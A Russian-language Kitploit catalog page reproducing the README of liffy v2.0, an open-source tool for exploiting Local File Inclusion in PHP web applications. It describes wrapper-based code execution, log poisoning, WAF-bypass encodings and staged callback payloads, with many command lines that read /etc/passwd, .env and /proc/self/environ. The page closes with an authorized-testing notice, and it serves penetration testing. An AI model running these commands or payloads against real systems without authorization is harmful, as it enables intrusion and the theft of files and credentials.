Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
liffy — Инструмент для эксплуатации локального включения файлов | Kitploit
Инструменты/GitHubGitHub/mzfr/liffy
Анализ уязвимостейЭксплуатация веб-приложенийОбход WAFТестирование на ПроникновениеРазработка Полезной Нагрузки
GitHubmzfr/liffy

liffy

Инструмент для эксплуатации локального включения файлов

Репозиторий
978114544 месяцев назадПроверено Kitploit

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

GitSpo Mentions License: GPL v3 Maintenance Rawsec's CyberSecurity Inventory

Packaging status


liffy


Продвинутый инструмент эксплуатации LFI

liffy in action

Мощный Python-инструмент для эксплуатации Local File Inclusion (LFI) с расширенными возможностями, включая обход WAF, методы кодирования и всестороннее обнаружение уязвимостей.

Liffy v2.0 — значительно улучшенная версия liffy, первоначально созданного rotlogix/liffy. Эта версия включает современные функции, такие как Rich-вывод в терминал, YAML-конфигурацию, улучшенную многопоточность и множество продвинутых техник эксплуатации.

⚠️ Многие новые изменения были созданы с помощью виброкодинга.

Содержание

  • Возможности
  • Установка
  • Использование
  • Конфигурация
  • Продвинутые техники
  • Примеры
  • Вклад
  • Благодарности

Возможности

Основные техники LFI

  • data:// - Выполнение кода через обёртку data
  • expect:// - Выполнение кода через обёртку expect
  • input:// - Выполнение кода через обёртку input
  • filter:// - Чтение произвольных файлов через обёртку filter
  • /proc/self/environ - Выполнение кода в режиме CGI
  • Отравление access.log Apache - Эксплуатация через файлы журналов
  • Отравление auth.log Linux через SSH - Эксплуатация через SSH-журналы
  • Атаки нулевым байтом - Устаревшие атаки через нулевой байт в PHP
  • Эксплуатация ZIP-обёртки - Атаки включения ZIP-файлов
  • Обнаружение обёрток - Безопасное тестирование распространённых потоковых обёрток LFI
  • Внеполосные зонды - Callback-полезные нагрузки для слепых обёрток / SSRF-подобного поведения
  • Проверки слепого LFI - Зонды на основе различий в ответах, когда содержимое файлов не отображается
  • Режим автосканирования - План безопасного сканирования с приоритетом обнаружения: обход, обёртки и слепые проверки

Расширенные возможности

  • Обход WAF - Несколько техник обхода для распространённых WAF
  • Продвинутое кодирование - Двойное URL-кодирование, Unicode, варианты регистра
  • Поддержка POST-запросов - Полная поддержка метода POST с пользовательскими данными
  • Пользовательские заголовки - Настраиваемые HTTP-заголовки
  • Смена User-Agent - Случайные User-Agent для избежания обнаружения
  • Ограничение частоты запросов - Настраиваемое замедление запросов
  • Многопоточность - Улучшенное управление пулом потоков
  • Режим обнаружения - Сканирование уязвимостей без эксплуатации
  • Rich-вывод в терминал - Красивый цветной вывод с индикаторами прогресса
  • YAML-конфигурация - Управление постоянными настройками

Современные улучшения

  • Улучшенное обнаружение уязвимостей - Продвинутый анализ ответов с оценкой уверенности
  • Управление пулом потоков - Оптимизированная производительность с адаптивной многопоточностью
  • Управление конфигурацией - YAML-настройки с переопределением через CLI
  • Подробное логирование - Детальные отчёты о выполнении и отслеживание прогресса

Установка

Убедитесь, что вы используете Python 3. Liffy не поддерживает Python 2. В примерах ниже используется uv run python, чтобы команды выполнялись в окружении проекта.

root@kitploit:~
# Установите uv, если ещё не сделали это
curl -LsSf https://astral.sh/uv/install.sh | sh

# Клонируйте репозиторий
git clone https://github.com/mzfr/liffy
cd liffy

# Создайте виртуальное окружение с помощью uv
uv venv

# Установите зависимости из pyproject.toml
uv sync

# Запустите liffy
uv run python liffy.py --help

Использование

Базовый синтаксис

root@kitploit:~
uv run python liffy.py <URL> [ОПЦИИ]

Параметры командной строки

root@kitploit:~
usage: liffy.py [-h] [-d] [-i] [-e] [-f] [-p] [-a] [-ns] [-r] [--ssh]
                [-l LOCATION] [--cookies COOKIES] [-dt] [-t THREADS]
                [--detection] [--null-byte] [--zip] [--encoding]
                [--waf-bypass] [--method {GET,POST}] [--post-data POST_DATA]
                [--headers HEADERS] [--lhost LHOST] [--lport LPORT]
                [--read-file READ_FILE] [-y] [--timeout TIMEOUT]
                [--proxy PROXY] [--verify-tls] [--user-agent USER_AGENT]
                [--oob] [--oob-url OOB_URL] [--blind] [--auto]
                [--delay DELAY] [--retries RETRIES] [--json] [--output OUTPUT]
                [--quiet] [--no-color] [--no-banner] [--config]
                [url]

positional arguments:
  url                   URL для тестирования на LFI

Core Techniques:
  -d, --data            Использовать технику data://
  -i, --input           Использовать технику input://
  -e, --expect          Использовать технику expect://
  -f, --filter          Использовать технику filter://
  -p, --proc            Использовать технику /proc/self/environ
  -a, --access          Использовать технику журналов доступа Apache
  --ssh                 Отравление SSH-журнала аутентификации
  -dt, --directorytraverse  Проверка на обход каталогов
  --null-byte           Проверка на атаку нулевым байтом
  --zip                 Проверка на эксплуатацию ZIP-обёртки
  --wrappers, --wrapper Обнаружение распространённых потоковых обёрток LFI
  --wrapper-list WRAPPER_LIST
                        Путь к пользовательскому списку полезных нагрузок для обёрток
  --oob                 Отправка внеполосных callback-зондов
  --oob-url OOB_URL     Базовый URL для внеполосного callback
  --blind               Запуск проверок слепого LFI по разнице ответов
  --blind-list BLIND_LIST
                        Путь к пользовательскому списку зондов для слепого LFI
  --auto                Запуск безопасного автоматического плана сканирования

Advanced Options:
  --encoding            Использовать продвинутые техники кодирования/обхода
  --waf-bypass          Использовать техники обхода WAF
  --method {GET,POST}   HTTP-метод (по умолчанию: GET)
  --post-data POST_DATA Данные POST (формат: key=value&key2=value2)
  --headers HEADERS     Пользовательские заголовки (формат: Header1:Value1,Header2:Value2)
  --detection           Только обнаружение LFI, без эксплуатации

Request Options:
  --timeout TIMEOUT     Таймаут HTTP-запроса в секундах
  --proxy PROXY         URL HTTP(S)-прокси, напр. http://127.0.0.1:8080
  --verify-tls          Проверять TLS-сертификаты вместо использования незащищённых запросов
  --user-agent UA       Пользовательский заголовок User-Agent
  --delay DELAY         Задержка между запросами в секундах
  --retries RETRIES     Количество повторных попыток HTTP-запроса

Automation Options:
  --lhost LHOST         Хост для callback для пошаговых полезных нагрузок
  --lport LPORT         Порт для callback для пошаговых полезных нагрузок
  --read-file PATH      Путь к файлу для чтения через filter://
  -y, --yes             Использовать значения по умолчанию для запросов и работать неинтерактивно
  --json                Печатать сводку выполнения в JSON
  --output OUTPUT       Записать сводку выполнения в JSON в файл
  --quiet               Подавить обычный вывод терминала

General Options:
  -ns, --nostager       Выполнить полезную нагрузку напрямую, без использования стажера
  -r, --relative        Использовать последовательности обхода пути для атаки
  -l, --location LOCATION  Путь к целевому файлу (журнал доступа, журнал аутентификации и т.д.)
  --cookies COOKIES     Сессионные куки для аутентификации
  -t, --threads THREADS Количество потоков (по умолчанию: 5)
  --no-color            Отключить цветной вывод
  --no-banner           Отключить отображение баннера
  --config              Создать файл конфигурации YAML по умолчанию

Конфигурация

YAML-конфигурация

Создайте файл конфигурации для постоянных настроек:

root@kitploit:~
uv run python liffy.py --config

Это создаёт liffy_config.yaml с настройками по умолчанию:

root@kitploit:~
# Файл конфигурации Liffy
max_threads: 5
rate_limit_delay: 0.1
disable_colors: false
disable_banner: false
quiet: false
default_method: GET
user_agent_rotation: true
request_timeout: 15
proxy: null
verify_tls: false
retries: 0

Установите disable_banner: true, чтобы по умолчанию скрывать стартовый баннер/логотип. Флаги CLI по-прежнему переопределяют значения конфигурации, поэтому вы также можете использовать --no-banner, --no-color или --quiet для одноразовых запусков.

Переменные окружения

Вы также можете использовать переменные окружения:

  • LIFFY_THREADS - Количество потоков
  • LIFFY_RATE_LIMIT - Задержка ограничения частоты запросов
  • LIFFY_NO_COLOR - Отключить цвета (true/false)

Продвинутые техники

Техники обхода WAF

При включённом --waf-bypass liffy автоматически применяет несколько методов уклонения:

  • Внедрение комментариев: /**/, #, ;
  • Путаница протоколов: file:///, pHp://
  • Многослойное кодирование: Комбинации различных кодировок
  • Запутывание пути: ./, ../, нулевые байты

Техники обхода с помощью кодирования

С опцией --encoding liffy применяет продвинутые методы кодирования:

  • Двойное URL-кодирование: %252e%252e%252f
  • Unicode-кодирование: \u002e\u002e\u002f
  • Смешанный регистр: ..%2F, ..%2f
  • Кодирование HTML-сущностями: &#46;&#46;&#47;

Поддержка POST-запросов

root@kitploit:~
# POST с данными формы
uv run python liffy.py "http://target.com/lfi.php" -d --method POST --post-data "file=../../etc/passwd"

# POST с пользовательскими заголовками
uv run python liffy.py "http://target.com/lfi.php" -d --method POST --headers "X-Forwarded-For:127.0.0.1,Authorization:Bearer token123"

Настройка запросов

root@kitploit:~
# Отправка трафика через локальный прокси и повтор неудачных запросов
uv run python liffy.py "http://target.com/lfi.php?file=" -d \
  --proxy "http://127.0.0.1:8080" --timeout 20 --retries 2

# Использование фиксированного User-Agent и пользовательской задержки запросов
uv run python liffy.py "http://target.com/lfi.php?file=" --detection -f \
  --user-agent "liffy/2.0" --delay 0.5

Примеры

Базовое тестирование LFI

Тестирование с обёрткой data://

root@kitploit:~
uv run python liffy.py "http://example.com/page.php?file=" -d

Тестирование с несколькими техниками

root@kitploit:~
uv run python liffy.py "http://example.com/page.php?file=" -d -i -e -f

Только режим обнаружения

root@kitploit:~
uv run python liffy.py "http://example.com/page.php?file=" --detection -d -i -e

Продвинутое использование

Обход WAF с кодированием

root@kitploit:~
uv run python liffy.py "http://example.com/page.php?file=" -d --waf-bypass --encoding

Многопоточность с ограничением частоты запросов

root@kitploit:~
uv run python liffy.py "http://example.com/page.php?file=" -d -t 10 --config

POST-запрос с пользовательскими заголовками

root@kitploit:~
uv run python liffy.py "http://example.com/upload.php" -d --method POST \
  --post-data "action=read&file=../../etc/passwd" \
  --headers "User-Agent:Mozilla/5.0,X-Forwarded-For:192.168.1.1"

Отравление журналов

Отравление access.log Apache

root@kitploit:~
uv run python liffy.py "http://example.com/page.php?file=" -a

Отравление SSH-журнала аутентификации

root@kitploit:~
uv run python liffy.py "http://example.com/page.php?file=" --ssh

Пользовательское расположение журнала

root@kitploit:~
uv run python liffy.py "http://example.com/page.php?file=" -a -l "/var/log/apache2/access.log"

Обход каталогов

Относительный обход пути

root@kitploit:~
uv run python liffy.py "http://example.com/page.php?file=" -d -r

Тестирование обхода каталогов

root@kitploit:~
uv run python liffy.py "http://example.com/page.php?file=" -dt

Специальные техники

Атака нулевым байтом (устаревший PHP)

root@kitploit:~
uv run python liffy.py "http://example.com/page.php?file=" --null-byte

Эксплуатация ZIP-обёртки

root@kitploit:~
uv run python liffy.py "http://example.com/page.php?file=" --zip

Обнаружение распространённых обёрток

root@kitploit:~
uv run python liffy.py "http://example.com/page.php?file=" --wrappers

Обнаружение обёрток использует безопасные зонды по умолчанию для file://, php://filter, data://, php://temp, php://memory и связанных обёрток. zip://, phar:// и glob:// рассматриваются как информационные/условные, поскольку обычно требуют файлов на стороне цели или поведения, раскрывающего списки.

Вы можете предоставить пользовательский список полезных нагрузок для обёрток. Если --wrapper-list опущен, liffy использует встроенные зонды:

root@kitploit:~
uv run python liffy.py "http://example.com/page.php?file=" --wrapper \
  --wrapper-list payload_wordlists/wrappers.txt

Каждая непустая строка может быть либо необработанной полезной нагрузкой, либо name=payload:

root@kitploit:~
php-filter-passwd=php://filter/read=convert.base64-encode/resource=/etc/passwd
file-winini=file:///c:/windows/win.ini

Внеполосные callback-зонды

root@kitploit:~
uv run python liffy.py "http://example.com/page.php?file=" --oob \
  --oob-url "https://example.oast.site"

Используйте это с приёмником HTTP/DNS callback. Liffy отправляет полезные нагрузки в стиле URL-обёрток, а вы проверяете, ответила ли цель обратным вызовом.

Проверки слепого LFI

root@kitploit:~
uv run python liffy.py "http://example.com/page.php?file=" --blind

Слепые проверки сравнивают зонды с существующими файлами с базовыми линиями случайных отсутствующих файлов и сообщают о различиях в статусе, длине или времени, когда содержимое не отображается напрямую.

Вы можете предоставить пользовательский список зондов для слепого LFI. Если --blind-list опущен или пуст, liffy использует встроенные зонды:

root@kitploit:~
uv run python liffy.py "http://example.com/page.php?file=" --blind \
  --blind-list payload_wordlists/blind_lfi.txt

Каждая непустая строка может быть либо необработанной полезной нагрузкой, либо name=payload:

root@kitploit:~
linux-passwd=/etc/passwd
proc-environ=/proc/self/environ
laravel-env=.env

Безопасное автоматическое сканирование

root@kitploit:~
uv run python liffy.py "http://example.com/page.php?file=" --auto

--auto включает обнаружение только обхода каталогов, проверок обёрток и слепых проверок. Если также указан --oob-url, он включает внеполосные зонды.

Комплексное сканирование со всеми техниками

root@kitploit:~
uv run python liffy.py "http://example.com/page.php?file=" \
  -d -i -e -f -p -a --ssh -dt --null-byte --zip --wrappers --blind \
  --encoding --waf-bypass --detection

Аутентификация и Cookies

Использование сессионных кук

root@kitploit:~
uv run python liffy.py "http://example.com/page.php?file=" -d \
  --cookies "PHPSESSID=abc123; auth_token=xyz789"

Скриптовое / Неинтерактивное использование

Предоставление значений callback без запросов

root@kitploit:~
uv run python liffy.py "http://example.com/page.php?file=" -d \
  --lhost 10.10.14.2 --lport 4444 --yes

Чтение определённого файла через filter:// без запросов

root@kitploit:~
uv run python liffy.py "http://example.com/page.php?file=" -f \
  --read-file /etc/passwd --yes

Структурированный вывод

Печать сводки выполнения в JSON

root@kitploit:~
uv run python liffy.py "http://example.com/page.php?file=" --detection -f --json

Запись сводки JSON на диск с сохранением вывода в терминал

root@kitploit:~
uv run python liffy.py "http://example.com/page.php?file=" --detection -f \
  --output findings.json

Управление выводом

Отключение цветов и баннера

root@kitploit:~
uv run python liffy.py "http://example.com/page.php?file=" -d --no-color --no-banner

Подавление обычного вывода в терминал

root@kitploit:~
uv run python liffy.py "http://example.com/page.php?file=" --detection -f --quiet --output findings.json

Расположение файлов по умолчанию

Следующие расположения по умолчанию используются, если не указан пользовательский путь:

  • SSH auth.log: /var/log/auth.log
  • Apache access.log: /var/log/apache2/access.log
  • Альтернативный журнал Apache: /var/log/httpd/access_log

Вклад

Мы приветствуем вклад! Вот как вы можете помочь:

Предложения функций

  • Новые техники эксплуатации LFI
  • Дополнительные методы обхода WAF
  • Улучшенные техники кодирования
  • Оптимизация полезных нагрузок
  • Улучшения обнаружения

Сообщения об ошибках

  • Сообщайте о проблемах через GitHub Issues
  • Включайте подробные шаги для воспроизведения
  • Предоставляйте информацию о целевой среде

Pull Requests

  • Сделайте форк репозитория
  • Создайте ветку для функции
  • Внесите изменения с тестами
  • Отправьте pull request

Не стесняйтесь открывать issue для любых вопросов или предложений!

Обнаружение уязвимостей

Режим обнаружения Liffy предоставляет всесторонний анализ уязвимостей:

Оценка уверенности

  • Высокая уверенность (80-100%): Сильные индикаторы, такие как содержимое /etc/passwd
  • Средняя уверенность (50-79%): Частичное содержимое файла или подозрительные ответы
  • Низкая уверенность (20-49%): Потенциальные индикаторы, требующие ручной проверки

Функции обнаружения

  • Анализ содержимого файла: Распознаёт шаблоны файлов Linux, Windows и PHP
  • Анализ ответов: Коды состояния HTTP, длина содержимого, анализ времени
  • Обнаружение WAF: Идентификация распространённых сигнатур WAF
  • Сбор доказательств: Фиксация подтверждения уязвимости для отчёта

Пример вывода обнаружения

root@kitploit:~
[+] СВОДКА УЯЗВИМОСТЕЙ
==================================================
[1] Уязвимость найдена
    Полезная нагрузка: ../../etc/passwd
    Уверенность: 85%
    Доказательство: Файл Linux /etc/passwd: root:
    Код состояния: 200
    Длина содержимого: 1547

Устранение неполадок

Распространённые проблемы

Блокировка запросов WAF

root@kitploit:~
# Используйте техники обхода WAF
uv run python liffy.py "http://target.com/lfi.php" -d --waf-bypass

# Уменьшите количество потоков и увеличьте задержки
uv run python liffy.py "http://target.com/lfi.php" -d -t 1

Проблемы с ограничением частоты запросов

root@kitploit:~
# Увеличьте задержку в файле конфигурации
max_threads: 2
rate_limit_delay: 1.0

Режим отладки

Для подробного вывода вы можете изменить конфигурацию:

root@kitploit:~
debug_mode: true
verbose_output: true

Уведомление о безопасности

Liffy предназначен только для авторизованного тестирования безопасности.

  • Используйте только в системах, которыми вы владеете или на тестирование которых у вас есть явное разрешение
  • Соблюдайте практику ответственного раскрытия информации
  • Уважайте ограничения частоты запросов и избегайте состояний DoS
  • Учитывайте юридические последствия в вашей юрисдикции

Авторы не несут ответственности за неправильное использование этого инструмента.

Благодарности

Исходное вдохновение

  • Оригинальный liffy от hvqzao
  • Первоначальная концепция от rotlogix/liffy

Техники и исследования

  • Техники эксплуатации LFI из различных исследований безопасности
  • Методы обхода WAF из публичных ресурсов по безопасности
  • Документация по эксплуатации PHP-обёрток

Дизайн и ресурсы

  • Дизайн логотипа от renderforest
  • Стилизация терминала с использованием библиотеки Rich

Лицензия

Этот проект лицензирован в соответствии с GNU General Public License v3.0 — подробности см. в файле LICENSE.

Скачать инструмент